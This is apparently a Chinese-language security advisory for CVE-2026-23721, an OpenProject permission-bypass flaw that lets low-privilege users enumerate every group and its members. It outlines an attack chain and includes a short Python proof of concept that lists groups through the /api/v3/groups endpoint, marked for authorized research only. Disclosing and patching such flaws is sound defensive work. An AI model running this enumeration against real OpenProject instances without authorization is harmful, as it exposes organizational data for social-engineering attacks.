IPBUF安全漏洞报告
English
CVE-2026-23721 CVSS 4.3 中危

OpenProject 权限绕过漏洞 CVE-2026-23721

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-23721
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenProject

相关标签

OpenProject权限绕过信息泄露CVE-2026-23721访问控制

漏洞概述

OpenProject是一款开源的Web项目管理软件。在17.0.1和16.6.5之前的版本中,存在一个权限控制缺陷。当使用组来管理用户时,组成员信息应该只对在组所属项目中有查看成员权限的用户可见。然而,由于权限检查失败,任何拥有任意项目查看成员权限的用户都可以枚举所有组,并查看其他用户属于哪些组。这导致敏感的组织架构信息泄露,可能被恶意用户用于社会工程学攻击或进一步的安全威胁。

技术细节

该漏洞的根本原因是在组相关API端点的权限检查逻辑中存在问题。当用户请求组列表或组详情时,系统未能正确验证用户是否对目标组所在的所有项目都具有相应的权限。攻击者只需要在一个项目中拥有View Members权限,即可通过API枚举系统中所有可用的组,并获取完整的组成员列表。这个权限检查失败允许低权限用户访问本不该看到的信息,违反了最小权限原则。

攻击链分析

STEP 1
1
攻击者获取OpenProject账号并获得至少一个项目的查看成员权限
STEP 2
2
使用API端点/api/v3/groups枚举系统中的所有组
STEP 3
3
对每个组调用/api/v3/groups/{id}/members获取完整成员列表
STEP 4
4
收集组织架构信息用于后续攻击或情报收集

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target = "http://target-openproject.com" api_token = "user_api_token_with_view_members_permission" headers = {"Authorization": f"Bearer {api_token}"} # 枚举所有组 groups_response = requests.get(f"{target}/api/v3/groups", headers=headers) if groups_response.status_code == 200: groups = groups_response.json() print(f"发现 {len(groups)} 个组") for group in groups: print(f"组: {group['name']}, ID: {group['id']}")

影响范围

OpenProject < 16.6.5
OpenProject < 17.0.1

防御指南

临时缓解措施
目前没有已知的临时缓解措施。必须通过升级到修复版本来解决此问题。在升级前,可以考虑限制API访问并监控异常查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表